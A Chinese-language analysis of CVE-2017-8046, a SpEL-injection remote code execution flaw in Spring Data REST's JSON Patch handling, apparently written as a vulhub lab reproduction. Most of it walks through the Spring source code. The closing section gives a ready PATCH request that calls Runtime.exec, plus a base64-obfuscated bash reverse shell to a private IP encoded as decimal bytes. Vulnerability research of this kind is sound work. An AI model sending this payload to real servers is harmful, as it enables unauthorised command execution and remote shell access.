Spring Data REST是一个构建在Spring Data之上,为了帮助开发者更加容易地开发REST风格的Web服务。在REST API的Patch方法中(实现RFC6902),path的值被传入setValue,导致执行了SpEL表达式,触发远程命令执行漏洞。
对于JSON Patch请求方法IETF制定了标准RFC 6902。JSON Patch方法提交的数据必须包含一个path成员(path值中必须含有/),用于定位数据,同时还必须包含op成员,可选值如下:
add:添加数据
remove:删除数据
replace:修改数据
move:移动数据
copy:拷贝数据
test:测试给定数据与指定位置数据是否相等
根据RFC 6902,发送JSON文档结构需要注意以下两点:
1、请求头为Content-Type: application/json-patch+json
2、需要参数op、路径path,其中op所支持的方法很多,如test,add,replace等,path参数则必须使用斜杠分割。
入口文件是位于org.springframework.data.rest.webmvc.config.JsonPatchHandler:apply()
中:
通过request.isJsonPatchRequest
确定是PATCH请求之后,调用applyPatch(request.getBody(), target);
。
public <T> T apply(IncomingRequest request, T target) throws Exception {
Assert.notNull(request, "Request must not be null!");
Assert.isTrue(request.isPatchRequest(), "Cannot handle non-PATCH request!");
Assert.notNull(target, "Target must not be null!");
if (request.isJsonPatchRequest()) {
return applyPatch(request.getBody(), target);
} else {
return applyMergePatch(request.getBody(), target);
}
}
其中isJsonPatchRequest
的判断方法是:
public boolean isJsonPatchRequest() {
// public static final MediaType JSON_PATCH_JSON = MediaType.valueOf("application/json-patch+json");
return isPatchRequest() && RestMediaTypes.JSON_PATCH_JSON.isCompatibleWith(contentType);
}
跟踪进入到applyPatch()
方法中:
<T> T applyPatch(InputStream source, T target) throws Exception {
return getPatchOperations(source).apply(target, (Class<T>) target.getClass());
}
进入getPatchOperations()
中:
private Patch getPatchOperations(InputStream source) {
try {
return new JsonPatchPatchConverter(mapper).convert(mapper.readTree(source));
} catch (Exception o_O) {
throw new HttpMessageNotReadableException(
String.format("Could not read PATCH operations! Expected %s!", RestMediaTypes.JSON_PATCH_JSON), o_O);
}
}
利用mapper
初始化JsonPatchPatchConverter()
对象之后调用convert()
方法。
跟踪org.springframework.data.rest.webmvc.json.patch.JsonPatchPatchConverter:convert()
方法:
public Patch convert(JsonNode jsonNode) {
if (!(jsonNode instanceof ArrayNode)) {
throw new IllegalArgumentException("JsonNode must be an instance of ArrayNode");
} else {
ArrayNode opNodes = (ArrayNode)jsonNode;
List<PatchOperation> ops = new ArrayList(opNodes.size());
Iterator elements = opNodes.elements();
while(elements.hasNext()) {
JsonNode opNode = (JsonNode)elements.next();
String opType = opNode.get("op").textValue();
String path = opNode.get("path").textValue();
JsonNode valueNode = opNode.get("value");
Object value = this.valueFromJsonNode(path, valueNode);
String from = opNode.has("from") ? opNode.get("from").textValue() : null;
if (opType.equals("test")) {
ops.add(new TestOperation(path, value));
} else if (opType.equals("replace")) {
ops.add(new ReplaceOperation(path, value));
} else if (opType.equals("remove")) {
ops.add(new RemoveOperation(path));
} else if (opType.equals("add")) {
ops.add(new AddOperation(path, value));
} else if (opType.equals("copy")) {
ops.add(new CopyOperation(path, from));
} else {
if (!opType.equals("move")) {
throw new PatchException("Unrecognized operation type: " + opType);
}
ops.add(new MoveOperation(path, from));
}
}
return new Patch(ops);
}
}
convert()
方法返回Patch()
对象,其中的ops包含了我们的payload。
进入到org.springframework.data.rest.webmvc.json.patch.Patch
中:
public Patch(List<PatchOperation> operations) {
this.operations = operations;
}
通过上一步地分析,ops是一个List
对象,每一个PatchOperation
对象中包含了op、path、value
三个内容。
进入到PatchOperation
分析其赋值情况:
public PatchOperation(String op, String path, Object value) {
this.op = op;
this.path = path;
this.value = value;
this.spelExpression = pathToExpression(path);
}
进入到pathToExpression()
中:
public static Expression pathToExpression(String path) {
return SPEL_EXPRESSION_PARSER.parseExpression(pathToSpEL(path));
}
这是一个SPEL表达式解析操作,但是在解析之前调用了pathToSpEL()
;
进入pathToSpEL()
中:
private static String pathToSpEL(String path) {
return pathNodesToSpEL(path.split("\\/")); // 使用/分割路径
}
private static String pathNodesToSpEL(String[] pathNodes) {
StringBuilder spelBuilder = new StringBuilder();
for (int i = 0; i < pathNodes.length; i++) {
String pathNode = pathNodes[i];
if (pathNode.length() == 0) {
continue;
}
if (APPEND_CHARACTERS.contains(pathNode)) {
if (spelBuilder.length() > 0) {
spelBuilder.append("."); // 使用.重新组合路径
}
spelBuilder.append("$[true]");
continue;
}
try {
int index = Integer.parseInt(pathNode);
spelBuilder.append('[').append(index).append(']');
} catch (NumberFormatException e) {
if (spelBuilder.length() > 0) {
spelBuilder.append('.');
}
spelBuilder.append(pathNode);
}
}
String spel = spelBuilder.toString();
if (spel.length() == 0) {
spel = "#this";
}
return spel;
}
重新回到org.springframework.data.rest.webmvc.config.JsonPatchHandler:applyPatch()
中:
<T> T applyPatch(InputStream source, T target) throws Exception {
return getPatchOperations(source).apply(target, (Class<T>) target.getClass());
}
执行getPatchOperations(source)
得到的是一个Patch对象的实例,之后执行apply()
方法。进入org.springframework.data.rest.webmvc.json.patch.Patch:apply()
:
public <T> T apply(T in, Class<T> type) throws PatchException {
for (PatchOperation operation : operations) {
operation.perform(in, type);
}
return in;
}
PatchOperation
是一个抽象类,实际上应该调用其实现类的perform()
方法。此时的operation
实际是ReplaceOperation
类的实例(这也和我们传入的replace操作是对应的)。
进入到ReplaceOperation:perform()
中:
<T> void perform(Object target, Class<T> type) {
setValueOnTarget(target, evaluateValueFromTarget(target, type));
}
protected void setValueOnTarget(Object target, Object value) {
spelExpression.setValue(target, value);
}
在setValueOnTarget()
中会调用spelExpression
对SpEL表达式进行解析,触发漏洞。
代码分析学习于:https://blog.spoock.com/2018/05/22/cve-2017-8046/
抓包,修改请求如下:请求方法为PATCH;
Content-Type: application/json-patch+json
;new byte[]{command}
:command为我们要执行的命令的十进制数。
PATCH /customers/1 HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json-patch+json
Content-Length: 202
[{ "op": "replace", "path": "T(java.lang.Runtime).getRuntime().exec(new java.lang.String(new byte[]{command}))/lastname", "value": "vulhub" }]
反弹shell代码:
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4yMTEuNTUuMy82NjY2IDA+JjE=}|{base64,-d}|{bash,-i}
转换为十进制:98,97,115,104,32,45,99,32,123,101,99,104,111,44,89,109,70,122,97,67,65,116,97,83,65,43,74,105,65,118,90,71,86,50,76,51,82,106,99,67,56,120,77,67,52,121,77,84,69,117,78,84,85,117,77,121,56,50,78,106,89,50,73,68,65,43,74,106,69,61,125,124,123,98,97,115,101,54,52,44,45,100,125,124,123,98,97,115,104,44,45,105,125
参考链接:
https://blog.spoock.com/2018/05/22/cve-2017-8046/
https://vulhub.org/#/environments/spring/CVE-2017-8046/